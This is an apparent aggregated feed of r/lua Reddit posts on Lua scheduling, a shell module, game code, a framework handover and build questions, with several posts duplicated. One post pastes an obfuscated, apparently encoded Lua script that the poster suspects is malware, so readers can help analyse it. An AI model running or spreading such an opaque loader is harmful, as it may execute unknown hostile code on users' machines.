Is it possible to pre empt a running lua fn from my c++ calling code?
I am dynamically downloading multiple lua noscripts from a remote server.
I can't control the contents of lua noscript.
I currently have a cooperative scheduler in place with lua hooks to check how long a noscript has run for using monotonic clock every 1000 ins.
I am meant to repeatedly call a fn, predefined by spec, from lua noscript every "execution interval".
If the noscript runs for longer than execution interval I terminate it. Execution interval for each noscript is set dynamically by server.
This model works ok for small num of noscripts or for noscripts that don't take too long to process but quickly bottlenecks for long running noscripts.
So I wanted to implement a round robin sched and grant 400ms of timeslice to each noscript.
Each noscript already has a different lua_state *.
I am just stuck at how to pause currently running lua noscript and jump to a different lua noscript. Essentially how do I pre-empt these noscripts?
https://redd.it/1kdjwgd
@r_lua
I am dynamically downloading multiple lua noscripts from a remote server.
I can't control the contents of lua noscript.
I currently have a cooperative scheduler in place with lua hooks to check how long a noscript has run for using monotonic clock every 1000 ins.
I am meant to repeatedly call a fn, predefined by spec, from lua noscript every "execution interval".
If the noscript runs for longer than execution interval I terminate it. Execution interval for each noscript is set dynamically by server.
This model works ok for small num of noscripts or for noscripts that don't take too long to process but quickly bottlenecks for long running noscripts.
So I wanted to implement a round robin sched and grant 400ms of timeslice to each noscript.
Each noscript already has a different lua_state *.
I am just stuck at how to pause currently running lua noscript and jump to a different lua noscript. Essentially how do I pre-empt these noscripts?
https://redd.it/1kdjwgd
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
shelua: use your shell as real lua code!Announcing: https://github.com/BirdeeHub/shelua
Some of you may have heard of https://github.com/zserge/luash before.
I heard about it last week.
"What a beautiful little library!" I thought to myself, and went to try it out.
That's when it hit me. "I'm sorry, it does WHAT to _G?!?! I can't import this anywhere!"
I also found out error codes don't work before 5.2. And that it can't do real pipes.
I look at the repo. Last push, 9 years ago. This was made for me.
Within the evening, I had it localized to the sh variable it came from, without losing its ergonomics,
and fixed error codes prior to 5.2 and added some useful settings not there previously.
But I was not satisfied. I wanted REAL pipes. The ones in bash where all the commands start at the same time.
And its kinda fun... I might want to use it with another shell...
Well, a few days later, it has proper pipes, and you can make it work with any shell with just a bit of effort.
It is still tiny.
I am pleased to be able to announce to you all a more modular and capable iteration of the idea luash brought to us. I have really enjoyed it so far.
https://github.com/BirdeeHub/shelua
print(sh.ls '/bin' : grep filter : wc '-l')
https://redd.it/1kdl9l5
@r_lua
GitHub
GitHub - BirdeeHub/shelua: Tiny lua module to write unix shell noscripts with lua (inspired by zserge/luash)
Tiny lua module to write unix shell noscripts with lua (inspired by zserge/luash) - BirdeeHub/shelua
Help me ti decrypt this lua noscript i am scared that its malicius
Help me decrypt this pls::gsub('.+', (function(a) _P_dIAWmtuyGD = a; end)); EkrawtzGYuIRKDbU=_ENV;FyEGlLXtMRFRqAq='K*RA-wrC{2D1N&j#22#Fr{j=w{&1-{NzA{DjrNjCw*NNwANN-R1*Rj2#&{wDN{-71{Rj&wr1&wwDNjA21&R&1Aj5rN&k-{N\^Ar12AADNR02N*C{#ZrC##{r1j2w1&C-&NAAj1AR{2{*{{{d<C{jj{{RND-*{rC#&{-1*NRA21*R2D**21*D#j2ru&{w6N{-H1{A+D{RY2#*z{{9\^&jw#&D-w12AA1,NYAN1uR{D5*rN*-wN1#{C-j{r0&{1AAZD*RDA*D{RF2{*d{{j+jCAqr{jrw{&U-{1j{w#1rwjDRA2u*R{:#{CZjrDw*22r##{j#*C-#ww&2{*2{{X;C{jjD-R*DAd12w51Cw#DR{D-*{2Wa{jRC*j--&r8j{wTN{-h1rw-&-w#1N-E1#*DDr*C1r;CCRjD{w&2A{1-R{DP*{W-{*#/w&Cl#rr6&{wlNrCCjqrCj--*1*A#N&-NNw-*{C#Nw2&}-{NmA{1zR{D4w{2Q*C{%#{CaR2Nw*D2R*C1rbC{rjDC##nwNj#w-N-#,r&j w{&_-r##C*#wrwDt*j2q,{{U#r1{ARD**j2NN{wD1{AcD{*j1&wCN#-rDAR&DA*C{A*N2RG*Cjj#CANEw2NN--1&Aj{2A-DNRRwWN1-_1{A!DrwC1C*X2wWlC{#VrrR{22*r{C&&{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li y_yjV&u14i1j1i1*jBX4ai4l&y1l 1l B;&J& i\&iByjid;jg1gig*+;iiyByL; ;y421114L&lyj jjjyB*4;&yglgBgl+J+yiiy1\&J;1;j+0+iL&*1L**\&Ti; 4B*&lJjg{*j+BBB1B+&J1ig&B+i?iy 1i;ygyBy;J?gJJ+y;NlKLJBM*4y4g4*ll*djL4*&&B 1+ +lyg&gi+&B*i4;1g+;l;*;;JlL ij*1JlEJJYJi1&l11*l&jiz B&l& Jgg ig;+gj*+; L y *;4gBJ1L&im*B)4*LbB4+J&1yIBl+t1.;1 &4&J&i 4gBj1++&*i\&i; ;j+Li i&iB*+*&*;bL;+1x*gL;lB*LFg&&1L4J Lg+lLB+g;+;i;i yjyigBJ1i;yBy1ylZ Zj0i4;J 1;lglBl;BzSJByl;&il+jlBL+B+yBLy1 VyiJG;*+jL*yjY+*+*l-41p1Bl 1T**B14 B Bljg g gj+jgi&1ig Bg4gB+B+gJBy&;ly*;&;iJ&L4lBl1lgji9BBllj 1l &igLgg Wgyy4i1+\&g1;g+ByMLl*B*jy+4fLg4+*g1ylyjyj&BlB+1j 4jyBjBEB1i&ili+yy &;Ji
https://redd.it/1kdrrhy
@r_lua
https://redd.it/1kdrrhy
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Is lua a good choice for making webassembly games instead of rust?
I am trying to make web games in webassembly. have tried rust bit the learning curve for rust is too much . will lua be a good choice to make webassembly games?
https://redd.it/1kdsqlw
@r_lua
I am trying to make web games in webassembly. have tried rust bit the learning curve for rust is too much . will lua be a good choice to make webassembly games?
https://redd.it/1kdsqlw
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
how do I make a wait( ) function?
hi, I am new to Lua.
at first, I was using Roblox studio, but I moved to Love2D
in Luau (roblox's alternative for Lua), they have a built in
Now I realised, I don't have a
it is pretty self explanatory, I want a
https://redd.it/1kea7gp
@r_lua
hi, I am new to Lua.
at first, I was using Roblox studio, but I moved to Love2D
in Luau (roblox's alternative for Lua), they have a built in
wait()command in their libraryNow I realised, I don't have a
wait() function in my libraryit is pretty self explanatory, I want a
wait() function that makes the program wait for a set duration of time before executing the following codehttps://redd.it/1kea7gp
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Lua+FFI emulation in browser to run my desktop LuaJIT framework.
https://github.com/thenumbernine/glapp-js
https://redd.it/1kemek9
@r_lua
https://github.com/thenumbernine/glapp-js
https://redd.it/1kemek9
@r_lua
GitHub
GitHub - thenumbernine/glapp-js: wrapper code for my LuaJIT-driven glapp's to be run in-browser
wrapper code for my LuaJIT-driven glapp's to be run in-browser - thenumbernine/glapp-js
I have a question
Where could i learn lua for free? Is there any variants? I want to learn lua but i don't reslly have the money needed for paid guides
https://redd.it/1kgtijl
@r_lua
Where could i learn lua for free? Is there any variants? I want to learn lua but i don't reslly have the money needed for paid guides
https://redd.it/1kgtijl
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
I'm starting to see Lua everywhere
Not since year ago, I did not think Lua is popular. But today I realize it is everywhere!
https://redd.it/1kgwqul
@r_lua
Not since year ago, I did not think Lua is popular. But today I realize it is everywhere!
https://redd.it/1kgwqul
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
GitHub · Build and ship software on a single, collaborative platform
https://github.com/bigjimhilljameel
https://redd.it/1kiedkv
@r_lua
https://github.com/bigjimhilljameel
https://redd.it/1kiedkv
@r_lua
Variadic functions
Is there an actual use case for these besides logging functions?
https://redd.it/1kifgi6
@r_lua
Is there an actual use case for these besides logging functions?
https://redd.it/1kifgi6
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
Some text stays after clearing, I really tried everything
```Lua
function initialize()
environment = {
day = 0,
states = {day = "day", night = "night"},
state = nil,
radLevel = math.random(0, 10)
}
player = {
health = 100,
maxHealth = 100,
energy = 50,
maxEnergy = 50,
satiety = 100,
maxSatiety = 100
}
statusEffects = {
bleeding = false,
sick = false,
hungry = false,
starving = false
}
energyCosts = {
rest = -25,
supplies = 20,
rad = 10
}
heals = {
nightSleep = 10
}
inventory = {
apple = 0,
cannedSardines = 0,
egg = 0
}
storage = {
apple = 2,
cannedSardines = 1,
egg = 1
}
food = {
apple = {
name = "Apple",
satiety = 10,
energy = 5,
rads = 1,
spoil = true,
foundIn = "Markets"
},
cannedSardines = {
name = "Canned Sardines",
satiety = 20,
energy = 10,
rads = 2,
spoil = false,
foundIn = "Supermarkets"
},
egg = {
name = "Egg",
satiety = 5,
energy = 5,
rads = 4,
spoil = true,
foundIn = "Farms"
},
}
locations = {
home = {
name = "Home",
rads = 1,
danger = 1,
foodSpawn = 0
}
}
playing = true
environment.state = environment.states.night
end
function mainGameLoop()
changeState()
while playing do
clear()
showTime()
if player.satiety <= 20 then
statusEffects.starving = true
print("You are starving!")
elseif player.satiety <= 40 then
statusEffects.hungry = true
print("You are hungry")
end
print("-------------------------")
print("What do you have in mind?")
print("(1) Rest")
print("(2) Look for Supplies")
print("(3) Check Radiation Levels")
print("(4) Check Status")
print("(5) Information")
print("(6) Check Storage")
print("(7) Check Inventory")
listen()
checkResponse()
end
end
function incrementDay()
environment.day = environment.day + 1
environment.radLevel = math.random(0, 10)
end
function changeState()
if environment.state == environment.states.night then
environment.state = environment.states.day
incrementDay()
clear()
print("It's a new day...")
print("Day: "..environment.day)
print("Time: "..environment.state)
print("Done reading? (Press any key)")
io.read()
else
environment.state = environment.states.night
clear()
print("Night falls...")
print("Done reading? (Press any key)")
io.read()
end
player.satiety = player.satiety - 7.5
end
function showInfo()
clear()
print("This is an indie game about surviving! Keep your health up and have fun! Each action takes half a day (Except status check & Information)")
prompt()
end
function listen()
x = io.read()
end
function checkResponse()
if x == "1" then
rest()
changeState()
elseif x == "2" then
if player.energy < energyCosts.supplies then
print("You're too tired...")
print("You should rest. (Press any key)")
io.read()
else
supplies()
changeState()
end
elseif x == "3" then
if player.energy < energyCosts.rad then
print("You're too tired...")
print("You should rest. (Press any key)")
io.read()
else
radLevels()
changeState()
end
elseif x == "4" then
clear()
status()
elseif x == "5" then
showInfo()
elseif x ==
```Lua
function initialize()
environment = {
day = 0,
states = {day = "day", night = "night"},
state = nil,
radLevel = math.random(0, 10)
}
player = {
health = 100,
maxHealth = 100,
energy = 50,
maxEnergy = 50,
satiety = 100,
maxSatiety = 100
}
statusEffects = {
bleeding = false,
sick = false,
hungry = false,
starving = false
}
energyCosts = {
rest = -25,
supplies = 20,
rad = 10
}
heals = {
nightSleep = 10
}
inventory = {
apple = 0,
cannedSardines = 0,
egg = 0
}
storage = {
apple = 2,
cannedSardines = 1,
egg = 1
}
food = {
apple = {
name = "Apple",
satiety = 10,
energy = 5,
rads = 1,
spoil = true,
foundIn = "Markets"
},
cannedSardines = {
name = "Canned Sardines",
satiety = 20,
energy = 10,
rads = 2,
spoil = false,
foundIn = "Supermarkets"
},
egg = {
name = "Egg",
satiety = 5,
energy = 5,
rads = 4,
spoil = true,
foundIn = "Farms"
},
}
locations = {
home = {
name = "Home",
rads = 1,
danger = 1,
foodSpawn = 0
}
}
playing = true
environment.state = environment.states.night
end
function mainGameLoop()
changeState()
while playing do
clear()
showTime()
if player.satiety <= 20 then
statusEffects.starving = true
print("You are starving!")
elseif player.satiety <= 40 then
statusEffects.hungry = true
print("You are hungry")
end
print("-------------------------")
print("What do you have in mind?")
print("(1) Rest")
print("(2) Look for Supplies")
print("(3) Check Radiation Levels")
print("(4) Check Status")
print("(5) Information")
print("(6) Check Storage")
print("(7) Check Inventory")
listen()
checkResponse()
end
end
function incrementDay()
environment.day = environment.day + 1
environment.radLevel = math.random(0, 10)
end
function changeState()
if environment.state == environment.states.night then
environment.state = environment.states.day
incrementDay()
clear()
print("It's a new day...")
print("Day: "..environment.day)
print("Time: "..environment.state)
print("Done reading? (Press any key)")
io.read()
else
environment.state = environment.states.night
clear()
print("Night falls...")
print("Done reading? (Press any key)")
io.read()
end
player.satiety = player.satiety - 7.5
end
function showInfo()
clear()
print("This is an indie game about surviving! Keep your health up and have fun! Each action takes half a day (Except status check & Information)")
prompt()
end
function listen()
x = io.read()
end
function checkResponse()
if x == "1" then
rest()
changeState()
elseif x == "2" then
if player.energy < energyCosts.supplies then
print("You're too tired...")
print("You should rest. (Press any key)")
io.read()
else
supplies()
changeState()
end
elseif x == "3" then
if player.energy < energyCosts.rad then
print("You're too tired...")
print("You should rest. (Press any key)")
io.read()
else
radLevels()
changeState()
end
elseif x == "4" then
clear()
status()
elseif x == "5" then
showInfo()
elseif x ==
"6" then
storageCheck()
elseif x == "7" then
inventoryCheck()
end
end
function showTime()
print("Day: "..environment.day)
print("Time: "..environment.state)
end
function clear()
-- Don't mind this
os.execute("clear 2>/dev/null || cls 2>/dev/null")
io.write("\27[2J\27[3J\27[H\27[2J\27[3J\27[H") -- Double ANSI clear
io.flush()
end
function status()
io.stdout:setvbuf("no") -- Disable buffering to prevent ghost text
clear()
-- Build the status effects strings first
local effects = {}
if statusEffects.bleeding or statusEffects.sick or statusEffects.hungry or statusEffects.starving then
if statusEffects.bleeding then
table.insert(effects, "You are bleeding! (Bleed)")
end
if statusEffects.sick then
table.insert(effects, "You feel sick... (Sickness)")
end
if statusEffects.hungry then
table.insert(effects, "You are hungry (Hunger)")
end
if statusEffects.starving then
table.insert(effects, "You are starving! (Starvation)")
end
else
table.insert(effects, "None")
end
-- Combine everything into one string
local statusText = table.concat({
"-- Environment Status --\n",
"• Day: ", tostring(environment.day), "\n",
"• Time: ", tostring(environment.state), "\n\n",
"-- Character Status --\n",
"• Health: ", tostring(player.health), "/", tostring(player.maxHealth), "\n",
"• Energy: ", tostring(player.energy), "/", tostring(player.maxEnergy), "\n",
"• Satiety: ", tostring(player.satiety), "/", tostring(player.maxSatiety), "\n\n",
"-- Status Effects --\n",
table.concat(effects, "\n"),
"\n\nDone reading? (Press any key)"
})
io.write(statusText)
io.read()
clear()
io.stdout:setvbuf("line")
end
function radLevels()
local x = math.random(0, 1)
local y = math.random(0, 2)
clear()
estimate = environment.radLevel + x - y
if estimate < 0 then
estimate = 0
end
if environment.radLevel > 0 and environment.radLevel < 3 then
print("Your device reads "..estimate.." rads")
elseif environment.radLevel > 3 and environment.radLevel < 6 then
print("Your device flickers (It reads "..estimate.."rads)")
elseif environment.radLevel > 6 and environment.radLevel < 9 then
print("Your device crackles (It reads "..estimate.."rads)")
else
print("Your device reads 0 rads")
end
print("")
player.energy = player.energy - energyCosts.rad
print("- "..energyCosts.rad.." energy")
prompt()
end
function rest()
clear()
print("You rest...")
player.energy = player.energy - energyCosts.rest
overflowEnergy()
print("You recovered "..math.abs(energyCosts.rest).." energy!")
if environment.state == environment.states.night then
player.health = player.health + 10
overflowHealth()
print("You recovered "..heals.nightSleep.." health!")
end
prompt()
end
function overflowEnergy()
if player.energy > player.maxEnergy then
player.energy = player.maxEnergy
end
end
function overflowHealth()
if player.health > player.maxHealth then
player.health = player.maxHealth
end
end
function prompt()
print("Done reading? (Press any key)")
io.read()
end
function storageCheck()
io.write("\27[2J\27[3J\27[H") -- ANSI clear + scrollback purge
io.flush()
if environment.state == environment.states.night then
io.write("It's too dangerous to access storage at night!\n\nDone reading? (Press any key)")
io.flush()
io.read()
return
end
local displayLines = {
"----- Home Storage Contents -----"
}
local anyStorage = false
for itemKey, quantity in pairs(storage) do
if quantity > 0 and food[itemKey] then
table.insert(displayLines, string.format("- %s: %d", food[itemKey].name,
storageCheck()
elseif x == "7" then
inventoryCheck()
end
end
function showTime()
print("Day: "..environment.day)
print("Time: "..environment.state)
end
function clear()
-- Don't mind this
os.execute("clear 2>/dev/null || cls 2>/dev/null")
io.write("\27[2J\27[3J\27[H\27[2J\27[3J\27[H") -- Double ANSI clear
io.flush()
end
function status()
io.stdout:setvbuf("no") -- Disable buffering to prevent ghost text
clear()
-- Build the status effects strings first
local effects = {}
if statusEffects.bleeding or statusEffects.sick or statusEffects.hungry or statusEffects.starving then
if statusEffects.bleeding then
table.insert(effects, "You are bleeding! (Bleed)")
end
if statusEffects.sick then
table.insert(effects, "You feel sick... (Sickness)")
end
if statusEffects.hungry then
table.insert(effects, "You are hungry (Hunger)")
end
if statusEffects.starving then
table.insert(effects, "You are starving! (Starvation)")
end
else
table.insert(effects, "None")
end
-- Combine everything into one string
local statusText = table.concat({
"-- Environment Status --\n",
"• Day: ", tostring(environment.day), "\n",
"• Time: ", tostring(environment.state), "\n\n",
"-- Character Status --\n",
"• Health: ", tostring(player.health), "/", tostring(player.maxHealth), "\n",
"• Energy: ", tostring(player.energy), "/", tostring(player.maxEnergy), "\n",
"• Satiety: ", tostring(player.satiety), "/", tostring(player.maxSatiety), "\n\n",
"-- Status Effects --\n",
table.concat(effects, "\n"),
"\n\nDone reading? (Press any key)"
})
io.write(statusText)
io.read()
clear()
io.stdout:setvbuf("line")
end
function radLevels()
local x = math.random(0, 1)
local y = math.random(0, 2)
clear()
estimate = environment.radLevel + x - y
if estimate < 0 then
estimate = 0
end
if environment.radLevel > 0 and environment.radLevel < 3 then
print("Your device reads "..estimate.." rads")
elseif environment.radLevel > 3 and environment.radLevel < 6 then
print("Your device flickers (It reads "..estimate.."rads)")
elseif environment.radLevel > 6 and environment.radLevel < 9 then
print("Your device crackles (It reads "..estimate.."rads)")
else
print("Your device reads 0 rads")
end
print("")
player.energy = player.energy - energyCosts.rad
print("- "..energyCosts.rad.." energy")
prompt()
end
function rest()
clear()
print("You rest...")
player.energy = player.energy - energyCosts.rest
overflowEnergy()
print("You recovered "..math.abs(energyCosts.rest).." energy!")
if environment.state == environment.states.night then
player.health = player.health + 10
overflowHealth()
print("You recovered "..heals.nightSleep.." health!")
end
prompt()
end
function overflowEnergy()
if player.energy > player.maxEnergy then
player.energy = player.maxEnergy
end
end
function overflowHealth()
if player.health > player.maxHealth then
player.health = player.maxHealth
end
end
function prompt()
print("Done reading? (Press any key)")
io.read()
end
function storageCheck()
io.write("\27[2J\27[3J\27[H") -- ANSI clear + scrollback purge
io.flush()
if environment.state == environment.states.night then
io.write("It's too dangerous to access storage at night!\n\nDone reading? (Press any key)")
io.flush()
io.read()
return
end
local displayLines = {
"----- Home Storage Contents -----"
}
local anyStorage = false
for itemKey, quantity in pairs(storage) do
if quantity > 0 and food[itemKey] then
table.insert(displayLines, string.format("- %s: %d", food[itemKey].name,
quantity))
anyStorage = true
end
end
if not anyStorage then
table.insert(displayLines, "(Storage is empty)")
end
table.insert(displayLines, "\n----- Your Inventory -----")
local anyInventory = false
for itemKey, quantity in pairs(inventory) do
if quantity > 0 and food[itemKey] then
table.insert(displayLines, string.format("- %s: %d", food[itemKey].name, quantity))
anyInventory = true
end
end
if not anyInventory then
table.insert(displayLines, "(Inventory is empty)")
end
table.insert(displayLines, "\n----- Transfer Options -----")
table.insert(displayLines, "(1) Move items from Inventory to Storage")
table.insert(displayLines, "(2) Move items from Storage to Inventory")
table.insert(displayLines, "(3) Back")
io.write(table.concat(displayLines, "\n"))
io.flush()
local choice = io.read()
if choice == "1" then
transferItems(true)
elseif choice == "2" then
transferItems(false)
end
io.write("\27[2J\27[3J\27[H")
io.flush()
end
function transferItems(toStorage)
clear()
local source = toStorage and inventory or storage
local destination = toStorage and storage or inventory
local count = 0
local itemsList = {}
for itemKey, quantity in pairs(source) do
if quantity > 0 then
count = count + 1
itemsList[count] = itemKey
print(string.format("(%d) %s: %d", count, food[itemKey].name, quantity))
end
end
if count == 0 then
print(toStorage and "Your inventory is empty!" or "Storage is empty!")
prompt()
return
end
print("\nSelect item (1-"..count..") or (0) Cancel")
local selection = tonumber(io.read()) or 0
if selection > 0 and selection <= count then
local selectedItem = itemsList[selection]
print(string.format("Move how many %s? (1-%d)", food[selectedItem].name, source[selectedItem]))
local amount = tonumber(io.read()) or 0
if amount > 0 and amount <= source[selectedItem] then
source[selectedItem] = source[selectedItem] - amount
destination[selectedItem] = (destination[selectedItem] or 0) + amount
print(string.format("Moved %d %s to %s", amount, food[selectedItem].name, toStorage and "storage" or "inventory"))
else
print("Invalid amount!")
end
end
prompt()
end
function inventoryCheck()
clear()
print("Food | Amount")
for itemKey, quantity in pairs(inventory) do
if food[itemKey] then
print(food[itemKey].name .. ": " .. quantity)
end
end
prompt()
end
initialize()
mainGameLoop()
```
The "Home Storage Contents" seems to stay in the stdout even after clearing... I tried everything I could think of, even asked a friend what was wrong, and he said to print it all as one string, which worked for some, but now it doesn't seem to work. Any ideas guys? It would be much appreciated!
https://redd.it/1kiloa2
@r_lua
anyStorage = true
end
end
if not anyStorage then
table.insert(displayLines, "(Storage is empty)")
end
table.insert(displayLines, "\n----- Your Inventory -----")
local anyInventory = false
for itemKey, quantity in pairs(inventory) do
if quantity > 0 and food[itemKey] then
table.insert(displayLines, string.format("- %s: %d", food[itemKey].name, quantity))
anyInventory = true
end
end
if not anyInventory then
table.insert(displayLines, "(Inventory is empty)")
end
table.insert(displayLines, "\n----- Transfer Options -----")
table.insert(displayLines, "(1) Move items from Inventory to Storage")
table.insert(displayLines, "(2) Move items from Storage to Inventory")
table.insert(displayLines, "(3) Back")
io.write(table.concat(displayLines, "\n"))
io.flush()
local choice = io.read()
if choice == "1" then
transferItems(true)
elseif choice == "2" then
transferItems(false)
end
io.write("\27[2J\27[3J\27[H")
io.flush()
end
function transferItems(toStorage)
clear()
local source = toStorage and inventory or storage
local destination = toStorage and storage or inventory
local count = 0
local itemsList = {}
for itemKey, quantity in pairs(source) do
if quantity > 0 then
count = count + 1
itemsList[count] = itemKey
print(string.format("(%d) %s: %d", count, food[itemKey].name, quantity))
end
end
if count == 0 then
print(toStorage and "Your inventory is empty!" or "Storage is empty!")
prompt()
return
end
print("\nSelect item (1-"..count..") or (0) Cancel")
local selection = tonumber(io.read()) or 0
if selection > 0 and selection <= count then
local selectedItem = itemsList[selection]
print(string.format("Move how many %s? (1-%d)", food[selectedItem].name, source[selectedItem]))
local amount = tonumber(io.read()) or 0
if amount > 0 and amount <= source[selectedItem] then
source[selectedItem] = source[selectedItem] - amount
destination[selectedItem] = (destination[selectedItem] or 0) + amount
print(string.format("Moved %d %s to %s", amount, food[selectedItem].name, toStorage and "storage" or "inventory"))
else
print("Invalid amount!")
end
end
prompt()
end
function inventoryCheck()
clear()
print("Food | Amount")
for itemKey, quantity in pairs(inventory) do
if food[itemKey] then
print(food[itemKey].name .. ": " .. quantity)
end
end
prompt()
end
initialize()
mainGameLoop()
```
The "Home Storage Contents" seems to stay in the stdout even after clearing... I tried everything I could think of, even asked a friend what was wrong, and he said to print it all as one string, which worked for some, but now it doesn't seem to work. Any ideas guys? It would be much appreciated!
https://redd.it/1kiloa2
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
I'm looking for a new owner for Lyte2D, my LOVE2D inspired game framework 🙏
Hi everyone,
I actually debutted Lyte2D on this sub, a couple years ago! (https://www.reddit.com/r/lua/comments/111p2rz/lyte2danewgameframeworkthatimmaking/) and (https://www.reddit.com/r/lua/comments/13trs14/lyte2danewgameframeworkv05isoutcoolc/). I haven't posted here since, but Lyte2D has grown.
I'm looking for a new owner/maintainer for Lyte2D. It's a small but powerful game framework for Lua, written in C. It's inspired by LOVE2D but it's even simpler. 1MB or smaller binaries on each platform. Single namespace (everything is under "lyte."), single function to implement ("lyte.tick(...)") instead of update/draw etc. It runs on Windows, Linux, and browsers (WASM) out of the box. MacOS works fine too, but we don't yet have a CI/official build for it yet.
Here're some highlights:
- Simple shapes; lines, circles, rects etc. Transforms...
- Image drawing, including partial rectangles from the image.
- Blend modes (default: alpha blending) and filter modes (default: nearest neighbor for pixel crisp games)
- Audio: looping music and sound effects, pan and pitch control.
- Keyboard/mouse/gamepad input.
- Async fetching application zip for larger game archives
- LOVE2D style app fusing: single executable that's made with merging lyte binary and your game zip. (Works on Windows and Linux, not tested on Mac)
- Single HTML file (that contains an embedded WASM file) for web distribution
- TTF fonts; rendering and font atlas. Crisp performant text rendering (I'm proud with this one)
- Built with Sokol using OpenGL3.3 and GLES3 backends, meaning shaders are shared between ALL targets without code changes. Shader uniform/image params are defined in Lua code. Shaders can be embedded inside Lua files
- It used to have a REPL, Fennel/Teal languages builtin and a half-working physics implementation, but removed these as they were not seeing much use
- Used in jam games, several experiments such as text editors etc.
- Used in one professional Steam game!
- Tiny tiny community, this was not marketed much at all. Couple reddit posts in r/lua and some tweets
- Website: https://lyte2d.com, with guide, samples in wasm and API surface
- Github: https://github.com/lyte2d/lyte2d
The reason I'm looking for a new owner is that I unable to spend the energy this little engine deserves. With the removal of the jankier parts I mentioned above, the remaining API I think is at beta level right now. It would be the new owners path to either keep it with small bug fixes as is, or take it further with more features, different direction etc.
In my opinion, even without a lot of fixes or new features at all, with the right marketing, this little thing can shine.
The correct owner would have some native code experience, he/she would know his way around C/cmake/git/CIs etc even if an expertise is NOT required.
Are you interested? Please DM me here or on twitter or on gmail, tell me what's your general idea of the direction you'd like to take, and your github. If you'd like to join only as a contributor (but not owner) let me know as well.
At "morew4rd" (github, twitter, gmail, reddit -- same handle)
Thank you!
https://redd.it/1kis18u
@r_lua
Hi everyone,
I actually debutted Lyte2D on this sub, a couple years ago! (https://www.reddit.com/r/lua/comments/111p2rz/lyte2danewgameframeworkthatimmaking/) and (https://www.reddit.com/r/lua/comments/13trs14/lyte2danewgameframeworkv05isoutcoolc/). I haven't posted here since, but Lyte2D has grown.
I'm looking for a new owner/maintainer for Lyte2D. It's a small but powerful game framework for Lua, written in C. It's inspired by LOVE2D but it's even simpler. 1MB or smaller binaries on each platform. Single namespace (everything is under "lyte."), single function to implement ("lyte.tick(...)") instead of update/draw etc. It runs on Windows, Linux, and browsers (WASM) out of the box. MacOS works fine too, but we don't yet have a CI/official build for it yet.
Here're some highlights:
- Simple shapes; lines, circles, rects etc. Transforms...
- Image drawing, including partial rectangles from the image.
- Blend modes (default: alpha blending) and filter modes (default: nearest neighbor for pixel crisp games)
- Audio: looping music and sound effects, pan and pitch control.
- Keyboard/mouse/gamepad input.
- Async fetching application zip for larger game archives
- LOVE2D style app fusing: single executable that's made with merging lyte binary and your game zip. (Works on Windows and Linux, not tested on Mac)
- Single HTML file (that contains an embedded WASM file) for web distribution
- TTF fonts; rendering and font atlas. Crisp performant text rendering (I'm proud with this one)
- Built with Sokol using OpenGL3.3 and GLES3 backends, meaning shaders are shared between ALL targets without code changes. Shader uniform/image params are defined in Lua code. Shaders can be embedded inside Lua files
- It used to have a REPL, Fennel/Teal languages builtin and a half-working physics implementation, but removed these as they were not seeing much use
- Used in jam games, several experiments such as text editors etc.
- Used in one professional Steam game!
- Tiny tiny community, this was not marketed much at all. Couple reddit posts in r/lua and some tweets
- Website: https://lyte2d.com, with guide, samples in wasm and API surface
- Github: https://github.com/lyte2d/lyte2d
The reason I'm looking for a new owner is that I unable to spend the energy this little engine deserves. With the removal of the jankier parts I mentioned above, the remaining API I think is at beta level right now. It would be the new owners path to either keep it with small bug fixes as is, or take it further with more features, different direction etc.
In my opinion, even without a lot of fixes or new features at all, with the right marketing, this little thing can shine.
The correct owner would have some native code experience, he/she would know his way around C/cmake/git/CIs etc even if an expertise is NOT required.
Are you interested? Please DM me here or on twitter or on gmail, tell me what's your general idea of the direction you'd like to take, and your github. If you'd like to join only as a contributor (but not owner) let me know as well.
At "morew4rd" (github, twitter, gmail, reddit -- same handle)
Thank you!
https://redd.it/1kis18u
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
help! where can i learn the language?
I picked up Python a few weeks ago and now I’ve decided to learn Lua—just out of curiosity. I've searched online but couldn't find many informative videos or articles about learning Lua, aside from its official site, which I personally find a bit hard to follow. Can anyone point me to easier-to-understand resources? Or is Lua just hard to get into at first?
https://redd.it/1kiuoya
@r_lua
I picked up Python a few weeks ago and now I’ve decided to learn Lua—just out of curiosity. I've searched online but couldn't find many informative videos or articles about learning Lua, aside from its official site, which I personally find a bit hard to follow. Can anyone point me to easier-to-understand resources? Or is Lua just hard to get into at first?
https://redd.it/1kiuoya
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community
How can I compile lua static library for Android?
Hello, I've been trying to compile something valid for my project for days without success...
I basically need the .a lib to use in a VS2019 C++ project...
The project targets Android 19 for ARM and Android 21 for ARM64, it uses Clang 5.0.
VS2019 NDK version is r16b.
While I did got some .a files, with very different sizes when trying, it seems like VS can't find the functions in it, so I guess it's not compiled correctly...
I've tried through WSL (Ubuntu 22.04.2 LTS), but if there's a easier way through Windows, please let me know...
Did anyone have particularly compiled it for Android? I really need to get this working...
https://redd.it/1kiwrlg
@r_lua
Hello, I've been trying to compile something valid for my project for days without success...
I basically need the .a lib to use in a VS2019 C++ project...
The project targets Android 19 for ARM and Android 21 for ARM64, it uses Clang 5.0.
VS2019 NDK version is r16b.
While I did got some .a files, with very different sizes when trying, it seems like VS can't find the functions in it, so I guess it's not compiled correctly...
I've tried through WSL (Ubuntu 22.04.2 LTS), but if there's a easier way through Windows, please let me know...
Did anyone have particularly compiled it for Android? I really need to get this working...
https://redd.it/1kiwrlg
@r_lua
Reddit
From the lua community on Reddit
Explore this post and more from the lua community